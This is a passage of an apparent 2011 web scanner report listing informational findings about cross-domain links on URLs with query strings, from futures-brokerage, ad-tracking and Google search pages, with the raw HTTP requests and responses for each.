Date: Thu, 08 Sep 2011 19:25:20 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title><link rel="sty
...[SNIP]...
<noscript>
<img src="https://ad.doubleclick.net/activity;src=2356891;type=accou783;cat=opena578;ord=1?"
width="1" height="1" border="0">
</noscript>
...[SNIP]...

<script language="javascript" src="https://www.everestjs.net/static/st.js"></script>
...[SNIP]...
<noscript>
<img src='https://pixel2164.everesttech.net/2164/t?ev_transid=5292B3C5DF42423B874832285BCDFE38&ev_application_starts_opsxpress=1'
width='1' height='1' /></noscript>
...[SNIP]...

16.2. http://cm.g.doubleclick.net/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cm.g.doubleclick.net
Path:	/pixel

Issue detail

The page was loaded from a URL containing a query string:

http://cm.g.doubleclick.net/pixel?nid=g8f47s39e399f3fe&tmid=-5675633421699857517

The response contains the following link to another domain:

http://rtd.tubemogul.com/upi/pid/5w3jqr4k?puid=E1&tmid=-5675633421699857517

Request

GET /pixel?nid=g8f47s39e399f3fe&tmid=-5675633421699857517 HTTP/1.1
Host: cm.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.viddler.com/player/cc4ac375/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 302 Found
Location: http://rtd.tubemogul.com/upi/pid/5w3jqr4k?puid=E1&tmid=-5675633421699857517
Cache-Control: no-store, no-cache
Pragma: no-cache
Date: Thu, 08 Sep 2011 19:54:08 GMT
Content-Type: text/html; charset=UTF-8
Server: Cookie Matcher
Content-Length: 276
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://rtd.tubemogul.com/upi/pid/5w3jqr4k?puid=E1&tmid=-5675633421699857517">here</A>
...[SNIP]...

16.3. http://pixel.everesttech.net/2164/cq previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.everesttech.net
Path:	/2164/cq

Issue detail

The page was loaded from a URL containing a query string:

http://pixel.everesttech.net/2164/cq?ev_sid=3&ev_ln=futures%20options&ev_crx=7551788913&ev_mt=b&ev_n=g&ev_ltx=&ev_pl=&url=http%3A//www.optionsxpress.com/promos/experience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007

The response contains the following link to another domain:

http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s

Request

GET /2164/cq?ev_sid=3&ev_ln=futures%20options&ev_crx=7551788913&ev_mt=b&ev_n=g&ev_ltx=&ev_pl=&url=http%3A//www.optionsxpress.com/promos/experience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007 HTTP/1.1
Host: pixel.everesttech.net
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR

Response

HTTP/1.1 302 Found
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: Apache
Set-Cookie: everest_session_v2=CeBOaRZ1-iwAAIdj; path=/; domain=.everesttech.net
Set-Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR; path=/; domain=.everesttech.net; expires=Fri, 13-Sep-2030 06:04:37 GMT
P3P: CP="NOI NID DEVa PSAa PSDa OUR IND PUR COM NAV INT DEM"
Cache-Control: no-cache
Location: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
Content-Length: 348
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s">here</a>
...[SNIP]...

16.4. http://shared.websol.barchart.com/text/disclaimer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shared.websol.barchart.com
Path:	/text/disclaimer.php

Issue detail

The page was loaded from a URL containing a query string:

http://shared.websol.barchart.com/text/disclaimer.php?logo=true

The response contains the following links to other domains:

http://www.barchartmarketdata.com/home.php
http://www.cmegroup.com/
http://www.theice.com/

Request

GET /text/disclaimer.php?logo=true HTTP/1.1
Host: shared.websol.barchart.com
Proxy-Connection: keep-alive
Referer: http://www.transworldfutures.com/quotes.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WEBSOL_SERVER=balancer.websol02

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:59 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
Content-Length: 1313
Content-Type: text/html; charset=UTF-8
Via: 1.1 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Content-Language: en

document.write('<center>');
document.write('    <hr size="1">');
document.write('        <table width="95%" cellpadding="0" cellspacing="0">');
document.write('<tr><td align="center" class="bcDisclaimer"><a href="http://www.cmegroup.com" target="_blank"><img src="http://shared.websol.barchart.com/images/CMEGroup_2c.png" border="0" width="53" height="17"></a>   <a href="http://www.theice.com" target="_blank"><img src="http://shared.websol.barchart.com/images/ICE_Logo.png" border="0" width="23" height="25">
...[SNIP]...
<td align="center" class="bcDisclaimer bcText sc">');
document.write('                    © 2011 <a target="_blank" href="http://www.barchartmarketdata.com/home.php">Barchart.com, Inc</a>. ');
document.write('                    Quote data provided and hosted by Barchart <a target="new" href="http://www.barchartmarketdata.com/home.php">Market Data</a>
...[SNIP]...

16.5. http://www.algoadvantage.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.algoadvantage.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.algoadvantage.com/?gclid=CIb8vp2wjqsCFSBCgwod8wjOtA

The response contains the following links to other domains:

http://advantagefutures.com/Privacy_Statement.html
http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.js
http://twitter.com/FuturesNews
http://www.advantagefutures.com/
http://www.facebook.com/advantagefutures
http://www.linkedin.com/company/97726

Request

GET /?gclid=CIb8vp2wjqsCFSBCgwod8wjOtA HTTP/1.1
Host: www.algoadvantage.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.17
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 18877

<!doctype html>


<!--[if IE 8 ]> <html class="no-js ie8" lang="e
...[SNIP]...
<br>

<a href="http://advantagefutures.com/Privacy_Statement.html" target="_blank">PRIVACY POLICY</a>
...[SNIP]...
<li class="advantagefutures_main"><a href="http://www.advantagefutures.com" target="_blank">AdvantageFutures.com</a>
...[SNIP]...
<div id="social">
<a id="facebook" href="http://www.facebook.com/advantagefutures" target="_blank"></a>

<a id="twitter" href="http://twitter.com/FuturesNews" target="_blank"></a>

<a id="linkedin" href="http://www.linkedin.com/company/97726" target="_blank"></a>
...[SNIP]...
</div>

<script src="//ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.js"></script>
...[SNIP]...

16.6. http://www.efutures.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.efutures.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.efutures.com/?gclid=CN_fipqwjqsCFUsaQgodfyAdwQ

The response contains the following links to other domains:

http://www.linkedin.com/company/efutures-com
http://www.pensonfutures.com/
https://twitter.com/GoEfutures
https://www.facebook.com/pages/Efuturescom/139776339426856

Request

GET /?gclid=CN_fipqwjqsCFUsaQgodfyAdwQ HTTP/1.1
Host: www.efutures.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:44 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/4.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 9049

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<div id="copyright">
Copyright © 2011 Efutures, a division of <a href="http://www.pensonfutures.com/" target="_blank">Penson Futures</a>
...[SNIP]...
<div id="socNet">
<a href="http://www.linkedin.com/company/efutures-com"><img src="http://www.efutures.com/images/iconLI.jpg" alt=LinkedIn" /></a>
<a href="https://twitter.com/GoEfutures"><img src="http://www.efutures.com/images/iconTW.jpg" alt="Twitter" /></a>
<a href="https://www.facebook.com/pages/Efuturescom/139776339426856"><img src="http://www.efutures.com/images/iconFB.jpg" alt="Facebook" />
...[SNIP]...

16.7. http://www.farrdirect.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.farrdirect.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.farrdirect.com/?gclid=CNXkrp-wjqsCFckaQgodVDsWwA

The response contains the following links to other domains:

http://static.getclicky.com/8337.js
http://static.getclicky.com/8337ns.gif
http://www.certigo.com/html/farrDirect/IBdemo3.asp?OfficeCode=243&Key=28165237&l=0
http://www.google-analytics.com/urchin.js
https://www.farronline.com/

Request

GET /?gclid=CNXkrp-wjqsCFckaQgodVDsWwA HTTP/1.1
Host: www.farrdirect.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:55 GMT
Server: Apache/2.0.52 (Red Hat)
Accept-Ranges: bytes
Content-Length: 15646
Content-Type: text/html

<html>
<head>
<title>Farr Financial Futures Commodity Brokers</title>

<meta name="keywords" content="online futures trading, online commodity trading, futures options, commodity brokers, futures
...[SNIP]...
</a>  <a href="https://www.farronline.com" target="_blank"><font color="#FFFFCC">
...[SNIP]...
<td width="100%" valign="top" align="center" bgcolor="#FFFFCC">
<iframe src="http://www.certigo.com/html/farrDirect/IBdemo3.asp?OfficeCode=243&Key=28165237&l=0" width="100%" style="border:none; height:265px;" scrolling="no"></iframe>
...[SNIP]...
</div>

<script src="http://static.getclicky.com/8337.js" type="text/javascript"></script>
...[SNIP]...
<p><img alt="Clicky" src="http://static.getclicky.com/8337ns.gif" /></p></noscript>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

16.8. http://www.globalfutures.com/index.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/index.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.globalfutures.com/index.asp?refid=googleaef

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit
http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 35051
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: returningRefID=googleaef; expires=Wed, 04-Jun-2014 07:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:25:41 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta cont
...[SNIP]...
</script>
               <script src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
...[SNIP]...

<script language="JavaScript" src="http://www2.daytrade4less.com/livesupport/js/status_image.php?base_url=http://www2.daytrade4less.com/livesupport&l=admin&x=1&deptid=0&"><a href="http://www.phplivesupport.com">
...[SNIP]...
<td style="width: 625px;" valign="top">
                   <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="615" height="209" title="Global Futures">
                       <param name="movie" value="graphics/homepage-banner/slideshow.swf" />
...[SNIP]...

16.9. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The page was loaded from a URL containing a query string:

http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading

The response contains the following links to other domains:

http://dealbook.nytimes.com/2011/09/08/regulator-further-delays-derivatives-rules/
http://en.wikipedia.org/wiki/Futures_contract
http://online.wsj.com/article/BT-CO-20110908-713068.html
http://pitguru.com/
http://tfc-charts.w2d.com/tafm/
http://webcache.googleusercontent.com/search?q=cache:40YMtae3fpgJ:www.futurestrading.com/+futures+trading&cd=4&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:4YMqjAx2pAYJ:www.cftc.gov/+futures+trading&cd=10&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:EMZAOWUZh7MJ:www.rjofutures.com/+futures+trading&cd=8&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:EidKzbPcjEUJ:tfc-charts.w2d.com/tafm/+futures+trading&cd=2&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:HtaVArDUWrQJ:en.wikipedia.org/wiki/Futures_contract+futures+trading&cd=1&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:RzIQakt2jkUJ:www.learnfuturestrading.com/+futures+trading&cd=6&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:Tl50I2vgQg8J:www.tradingfutures.biz/+futures+trading&cd=5&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:meMoUcPgZDwJ:www.transworldfutures.com/+futures+trading&cd=3&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:nosPkXNvFVsJ:www.futurestradingpedia.com/+futures+trading&cd=7&hl=en&ct=clnk&gl=us
http://webcache.googleusercontent.com/search?q=cache:tDlEnBkK5UEJ:pitguru.com/+futures+trading&cd=9&hl=en&ct=clnk&gl=us
http://www.cftc.gov/
http://www.ft.com/cms/s/2f359a9a-da31-11e0-90b2-00144feabdc0.html
http://www.futurestrading.com/
http://www.futurestradingpedia.com/
http://www.learnfuturestrading.com/
http://www.rjofutures.com/
http://www.tradingfutures.biz/
http://www.transworldfutures.com/
http://www.youtube.com/results?q=futures+trading&um=1&ie=UTF-8&sa=N&hl=en&tab=w1

Request

GET /search?sourceid=chrome&ie=UTF-8&q=futures+trading HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; NID=50=qJcJMJZx8kd2lKlqzjVa-9sbNEXINZkT3j__0U0O6FyATOmGOc24DVqph_GI2vEuVKgaRzsbDHbwHGQ_9qj9iq7M3tk9aev8U6Q5ZJbnKLqyb8XDcJOeZOxaBATLNeMN

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:30 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Get-Dictionary: /sdch/StnTz5pY.dct
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 116264

<!doctype html> <head> <title>futures trading - Google Search</title> <script>window.google={kEI:"bhZpTrqBK8nliALZ9v2TDg",getEI:function(a){var b;while(a&&!(a.getAttribute&&(b=a.getAttribute("e
...[SNIP]...
<li class=gbmtc><a onclick=gbar.qs(this) class=gbmt id=gb_36 href="http://www.youtube.com/results?q=futures+trading&um=1&ie=UTF-8&sa=N&hl=en&tab=w1" onclick="gbar.logger.il(1,{t:36})">YouTube</a>
...[SNIP]...
<h3 class="r"><a href="http://en.wikipedia.org/wiki/Futures_contract" class=l onmousedown="return clk(this,this.href,'','','','1','','0CGMQFjAA')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:HtaVArDUWrQJ:en.wikipedia.org/wiki/Futures_contract+futures+trading&cd=1&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','1','','0CGUQIDAA')">Cached</a>
...[SNIP]...
<div class=osl><a href="http://en.wikipedia.org/wiki/Futures_contract#Origin" onmousedown="return clk(this,this.href,'','','','1','','0CGcQ0gIoADAA')">Origin</a> - <a href="http://en.wikipedia.org/wiki/Futures_contract#Standardization" onmousedown="return clk(this,this.href,'','','','1','','0CGgQ0gIoATAA')">Standardization</a> - <a href="http://en.wikipedia.org/wiki/Futures_contract#Margin" onmousedown="return clk(this,this.href,'','','','1','','0CGkQ0gIoAjAA')">Margin</a> - <a href="http://en.wikipedia.org/wiki/Futures_contract#Settlement_-_physical_versus_cash-settled_futures" onmousedown="return clk(this,this.href,'','','','1','','0CGoQ0gIoAzAA')">Settlement - physical versus ...</a>
...[SNIP]...
<h3 class="r"><a href="http://tfc-charts.w2d.com/tafm/" class=l onmousedown="return clk(this,this.href,'','','','2','','0CG8QFjAB')">Commodity <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:EidKzbPcjEUJ:tfc-charts.w2d.com/tafm/+futures+trading&cd=2&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','2','','0CHEQIDAB')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.transworldfutures.com/" class=l onmousedown="return clk(this,this.href,'','','','3','','0CHYQFjAC')">Online <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:meMoUcPgZDwJ:www.transworldfutures.com/+futures+trading&cd=3&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','3','','0CHgQIDAC')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.futurestrading.com/" class=l onmousedown="return clk(this,this.href,'','','','4','','0CH0QFjAD')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:40YMtae3fpgJ:www.futurestrading.com/+futures+trading&cd=4&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','4','','0CH8QIDAD')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.tradingfutures.biz/" class=l onmousedown="return clk(this,this.href,'','','','5','','0CIQBEBYwBA')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:Tl50I2vgQg8J:www.tradingfutures.biz/+futures+trading&cd=5&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','5','','0CIYBECAwBA')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.learnfuturestrading.com/" class=l onmousedown="return clk(this,this.href,'','','','6','','0CIsBEBYwBQ')">Learn <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:RzIQakt2jkUJ:www.learnfuturestrading.com/+futures+trading&cd=6&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','6','','0CI0BECAwBQ')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.futurestradingpedia.com/" class=l onmousedown="return clk(this,this.href,'','','','7','','0CJIBEBYwBg')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:nosPkXNvFVsJ:www.futurestradingpedia.com/+futures+trading&cd=7&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','7','','0CJQBECAwBg')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.rjofutures.com/" class=l onmousedown="return clk(this,this.href,'','','','8','','0CJkBEBYwBw')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:EMZAOWUZh7MJ:www.rjofutures.com/+futures+trading&cd=8&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','8','','0CJwBECAwBw')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://pitguru.com/" class=l onmousedown="return clk(this,this.href,'','','','9','','0CKEBEBYwCA')"><em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:tDlEnBkK5UEJ:pitguru.com/+futures+trading&cd=9&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','9','','0CKMBECAwCA')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.cftc.gov/" class=l onmousedown="return clk(this,this.href,'','','','10','','0CKcBEBYwCQ')">U.S. Commodity <em>
...[SNIP]...
<span class=gl> - <a href="http://webcache.googleusercontent.com/search?q=cache:4YMqjAx2pAYJ:www.cftc.gov/+futures+trading&cd=10&hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','','10','','0CKkBECAwCQ')">Cached</a>
...[SNIP]...
<span class=tl><a href="http://dealbook.nytimes.com/2011/09/08/regulator-further-delays-derivatives-rules/" class=l onmousedown="return clk(this,this.href,'','','','11','','0CK4BEKkCMAo')">Regulator Further Delays Derivatives Rules</a>
...[SNIP]...
<span class=tl><a href="http://online.wsj.com/article/BT-CO-20110908-713068.html" class=l onmousedown="return clk(this,this.href,'','','','12','','0CLQBEKkCMAs')">CFTC Accuses Massachusetts Man of $3.2M Forex <em>
...[SNIP]...
<span class=tl><a href="http://www.ft.com/cms/s/2f359a9a-da31-11e0-90b2-00144feabdc0.html" class=l onmousedown="return clk(this,this.href,'','','','13','','0CLoBEKkCMAw')">Battles loom over commodity price curbs</a>
...[SNIP]...

16.10. http://www.interactivebrokers.com/en/accounts/advisors/advisorsMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/advisors/advisorsMain.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/accounts/advisors/advisorsMain.php?ib_entity=inst

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.sipc.org/

Request

GET /en/accounts/advisors/advisorsMain.php?ib_entity=inst HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:17 GMT
Server: Apache
Content-Length: 47482
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<p>For information on SIPC coverage on your account, visit <a target="_blank" href="http://www.sipc.org">www.sipc.org</a>
...[SNIP]...

16.11. http://www.interactivebrokers.com/en/accounts/advisors/employeeTrackMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/advisors/employeeTrackMain.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/accounts/advisors/employeeTrackMain.php?ib_entity=inst

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.sipc.org/

Request

GET /en/accounts/advisors/employeeTrackMain.php?ib_entity=inst HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:22 GMT
Server: Apache
Content-Length: 47045
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>IB EmployeeTrack Compliance Reporting</title>
<meta name=
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<br />
For information on SIPC coverage on your account, visit <a href="http://www.sipc.org" target="_blank">www.sipc.org</a>
...[SNIP]...

16.12. http://www.interactivebrokers.com/en/accounts/brokers/brokerMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/brokers/brokerMain.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/accounts/brokers/brokerMain.php?ib_entity=inst

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.sipc.org/

Request

GET /en/accounts/brokers/brokerMain.php?ib_entity=inst HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:24 GMT
Server: Apache
Content-Length: 49489
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<p>For information on SIPC coverage on your account, visit <a href="http://www.sipc.org" target="_blank">www.sipc.org</a>
...[SNIP]...

16.13. http://www.interactivebrokers.com/en/accounts/institutions/fundMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/institutions/fundMain.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/accounts/institutions/fundMain.php?ib_entity=inst

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
